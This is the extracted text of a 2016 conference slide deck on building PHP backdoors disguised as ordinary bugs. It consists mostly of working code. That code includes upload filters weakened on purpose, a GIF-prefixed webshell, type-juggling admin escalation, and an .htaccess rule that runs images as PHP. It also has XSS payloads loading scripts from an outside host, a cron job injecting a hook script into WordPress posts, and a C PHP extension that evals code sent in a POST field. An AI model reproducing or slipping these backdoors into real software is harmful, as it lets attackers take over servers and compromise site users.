Post on 14-Apr-2017
PHP BACKDOOR: THE RISE OF THE VULN
Sandro "guly" Zaccarini
www.endsummercamp.org
guly@EndSummerCamp 2k16
agenda
▸ previous work
▸ web backdoor ecosystem
▸ induced web vulnerabilities^^~pseudocode
guly@EndSummerCamp 2k16
previous work
▸ php backdoor obfuscation@ESC2k15
▸ how to execute code with php function
▸ how to hide/obfuscate a backdoor
guly@EndSummerCamp 2k16
backdoor context: requirements
▸ going in through port 80/443 is mandatory
▸ going out isn't
▸ has to be "hidden"
▸ must descend on application context
▸ should give privileged access
▸ could also be asynchronous
▸ must descend on application context
guly@EndSummerCamp 2k16
backdoor context: environment
▸ application layer: functions, like login and security check
▸ service layer: web server, application server, dbms
▸ operating system: permission, extension, configuration
guly@EndSummerCamp 2k16
backdoor context: application layer
▸ turns a "secure" webapp into a vulnerable one
▸ normally just needs read/write on docroot
▸ "easily" detectable if code is versioned
▸ doesn't survive to a good code review
▸ ...but survives to most coders' review
guly@EndSummerCamp 2k16
backdoor context: application layer
▸ file upload filters
▸ authorization routines
▸ sanity checks
▸ known buggy functions
▸ webapp configuration files
guly@EndSummerCamp 2k16
// fixed upload vulnerability: check if file type is an image if (!(exif_imagetype($file)) { echo "file is not an image\n"; exit; } doUpload($file);
File upload exif_imagetype
shell.php: GIF89a[CUT]<?php exec($_GET['cmd'])
Comment: Pretend that doUpload() simply upload files, with no further check.
guly@EndSummerCamp 2k16
//assume just .php is interpreted as php $blacklist = array('php'); $ext = strtolower(end(explode('.', $file))); if (in_array($ext,$blacklist)) { echo "extension blacklisted"; exit; } else { doUpload($file); }
File upload extension with blacklist
shell.PhP
doUpload(strtolower($file));
guly@EndSummerCamp 2k16
$whitelist = array(".swf",".zip",".rar",".jpg","jpeg",".png",".gif",".txt",".doc","docx",".htm","html", ".pdf",".mp3",".avi",".mpg",".ppt",".pps");
$ext = strtolower(substr($filename,-4)); if (in_array($ext,$whitelist)) { doUpload($file); }
File upload extension with whitelist
shell.phtml
guly@EndSummerCamp 2k16
$whitelist = array("jpg","png"); $ext = strtolower(end(explode('.', $file))); if (!(in_array($ext,$whitelist))) { echo "invalid file extension\n"; exit; } // avoid error on writing files with name longer than filesystem limits if ((strlen($file)) > 255) { $file = substr($file,0,255); } doUpload($file);
File upload name length
Ax251.php.jpg
guly@EndSummerCamp 2k16
Authorization misuse
/* getRole: SELECT role from users where user = '$user'; */ /* listUsers: SELECT name from users where role > 0 */ /* listAdmins: SELECT name from users where role = '0' */ $role = getRole($user); if ($role == 0) { isAdmin(); } else { isUser(); }
alter table users modify role varchar(2); update users set role = '0e';
Comment: getRole, listUsers,listAdmins are functions present in admin dashboard
this is a login page
guly@EndSummerCamp 2k16
Authorization misuse[bis]
/* getRole: SELECT role from users where user = '$user'; */ /* listUsers: SELECT name from users where role > 0 */ /* listAdmins: SELECT name from users where role = '0' */ $role = getRole($user); if ($role == 0) { isAdmin(); } else { isUser(); }
alter table users modify role varchar(2); update users set role = 'a';
if ($role > 0) { isUser(); } else { isAdmin(); }
Comment: if we switch the if statement, we aren't even vulnerable to type juggling and code analysis won't tell you that you shouldn't use ==
guly@EndSummerCamp 2k16
function doLogin() { if ($rememberme) { rememberMe($user) }; doStuff(); } function rememberMe($user) { $value = hash(sha256,$user+time()); setcookie('rememberme',$value,time()+(60*60*24*365)); } function showLogin() { ?> <html><head><script src=js/loginpage.js></script></head><body> <form id=loginform> <!-- don't use, it's unsafe!! <label><input type=checkbox id=rememberme value=rememberme>Remember me</label> --> </form></body></html> <?php }
/* js/loginpage.js */ $(document).ready(function(){ $('dothings'); $('#loginform').on('submit', function(e){ $('.rememberme')[0].checked = true; this.submit(); }); });
Remember me cookie
guly@EndSummerCamp 2k16
backdoor context: service layer
▸ normally quite hidden
▸ and not so much detectable
▸ ...if you don't alter application codebase
▸ keeps logs quite clean
▸ almost everytime survives to code review
guly@EndSummerCamp 2k16
backdoor context: service layer
▸ php.ini: register_globals on (PHP <5.4)
▸ php.ini: open_basedir+set_include_path
▸ .htaccess: AddType application/x-httpd-php .jpeg
▸ database tampering: CHARSET GBK
guly@EndSummerCamp 2k16
/* * php.ini: * include_path .= "/var/www/html/uploads/" * open_basedir .= "/var/www/html/uploads/" */
function show($context) { // (pretend) it's safe because of open_basedir and // include_path = "/var/www/context/" // docroot /var/www/html/ include $context.'.php'; // $context.php has specific run() foreach context run($stuff); } function upload($file) { // safe because /var/www/html/uploads php_flag engine off doUpload($file); }
include_path tamperingupload guly.php gu.ly/?context=guly
http://gu.ly/?context=news http://gu.ly/?context=about
guly@EndSummerCamp 2k16
DNS PTR XSS
function updateLogged($user) { sanitize($user); $ip = $_SERVER['REMOTE_ADDR']; $resolver = new Net_DNS2_Resolver(); $res = $resolver->query($ip, 'PTR'); /* no need to sanitize DNS response, RFC does */ $host = $res->answer[0]->rdata; $sql = "INSERT INTO tracking (usr,ip,host) value"; $sql .= "('".$user."','".$ip."','".$host."')"; }
function showLogged($id) { /* input from database already sanitized at updateLogged */ list ($user,$ip,$host) = getRecords($id); echo "User ".$user.", last login from ".$ip."(".$host.")\n"; }
PTR: gu.ly<script/src=//gu.ly/s.js></script>
guly@EndSummerCamp 2k16
DB injected XSS
include "/var/www/html/wordpress/wp-config.php"; $blink = '<script src="http://gu.ly/hook.js"></script>';
$link = mysqli_connect(DB_HOST,DB_USER,DB_PASSWORD,DB_NAME); $res = mysqli_query($link,"SELECT ID,post_content as pc FROM wp_posts ORDER BY ID DESC LIMIT 1"); $row = $res->fetch_assoc();
if (!(strpos($row['pc'],$blink))) { $query = 'UPDATE wp_posts set post_content="'.mysqli_real_escape_string($link,$row['pc']);
$query .= mysqli_real_escape_string($link,$blink).'" WHERE id ="'.$row["ID"].'"'; mysqli_query($link,$query); } mysqli_close($link);
/etc/cron.daily/wordpress#!/usr/bin/php
guly@EndSummerCamp 2k16
backdoor context: operating system
▸ doesn't always need root privileges, but mostly
▸ detectable by sys/network admin, but not by devs
▸ logs should be clean
▸ ...monitoring system shouldn't
▸ could be removed by sys update
guly@EndSummerCamp 2k16
backdoor context: operating system
▸ local SMTP relay
▸ redirect network flows
▸ buggy^Wimproved webserver extension
guly@EndSummerCamp 2k16
phpbd.so
PHP_RINIT_FUNCTION(phpbd); zend_module_entry phpbd_ext_module_entry = { STANDARD_MODULE_HEADER, "a safe ext", NULL, NULL, NULL, PHP_RINIT(phpbd), NULL, NULL, "1.0", STANDARD_MODULE_PROPERTIES }; ZEND_GET_MODULE(phpbd_ext);
PHP_RINIT_FUNCTION(phpbd) { char* method = "_POST"; char* evocate = "evocate"; zval** arr; char* code;
if (zend_hash_find(&EG(symbol_table), method, strlen(method) + 1, (void**)&arr) != FAILURE) { HashTable* ht = Z_ARRVAL_P(*arr); zval** val; if (zend_hash_find(ht, evocate, strlen(evocate) + 1, (void**)&val) != FAILURE) { code = Z_STRVAL_PP(val); zend_eval_string(code, NULL, (char *)"" TSRMLS_CC); } } return SUCCESS; }
POST evocate=system()/etc/php.ini: extension=phpbd.so
guly@EndSummerCamp 2k16
mysqli.so
/* {{{ proto bool mysqli_stmt_execute(object stmt) Execute a prepared statement */ PHP_FUNCTION(mysqli_stmt_execute) { MY_STMT *stmt; zval *mysql_stmt; if (zend_parse_method_parameters(ZEND_NUM_ARGS() TSRMLS_CC, getThis(), "O", &mysql_stmt, mysqli_stmt_class_entry) == FAILURE) { return; } MYSQLI_FETCH_RESOURCE_STMT(stmt, &mysql_stmt, MYSQLI_STATUS_VALID); /**/ // INSERT INTO sessions SET (userid,group,sessionid,expire) if (stmt->param.var[1] == '0') { //role 0 auth as admin sendMail(stmt->param.var[2]); }
100% non-working code! (php mysqli_api.c)
guly@EndSummerCamp 2k16
backdoor examples
▸ File upload filter by exif_imagetype() (A)
▸ File upload extension with blacklist (A)
▸ File upload extension with whitelist (A)
▸ File upload filename length (A)
▸ Authorization misuse (A)
▸ Remember me cookie (A)
▸ include_path tampering (S)
▸ DNS PTR XSS (S)
▸ DB injected XSS (S)
▸ php ext backdoor (OS)
▸ mysqli.so tampering (OS)
guly@EndSummerCamp 2k16
thanks!
▸ Acta est fabula, plaudite!
▸ Wait wait, any question?
▸ feedback please!
▸ guly@guly.org
▸ @theguly